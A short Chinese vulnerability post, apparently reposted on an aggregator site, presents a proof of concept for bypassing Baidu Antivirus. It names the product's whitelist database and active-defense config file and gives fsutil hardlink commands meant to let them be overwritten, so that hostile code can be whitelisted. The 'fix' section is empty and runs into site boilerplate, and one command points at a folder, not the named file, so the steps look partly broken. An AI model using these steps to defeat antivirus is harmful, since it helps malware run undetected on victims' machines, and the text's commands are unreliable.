再再再绕过百度杀毒任意执行代码(POC)

有问题不怕，不补才操蛋，忽略我问题的厂商，要是回头偷偷把漏洞给补掉那就别整天装大爷了.提的bug都是你们该知道的，不该知道的也没什么大危害就几个人用而已.这次我再接着搞这个2个文件.还是覆盖替换的套路.  

//这个文件是杀毒白名单，免杀就往这加C:\Documents and Settings\All Users\Application Data\baidu\baidusd\white_list.db//这个是主动防御C:\Documents and Settings\All Users\Application Data\baidu\baidusd\Config\900.dat

 

  简单得多了,直接上硬链接,下班了代码不写了直接命令行CMD吧

fsutil hardlink Create "C:\white_list" "C:\Documents and Settings\All Users\Application Data\baidu\baidusd"fsutil hardlink Create "C:\900.dat" "C:\Documents and Settings\All Users\Application Data\baidu\baidusd\Config\900.dat"

 

   修复方案：你们懂就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享，转载请注明出处。

……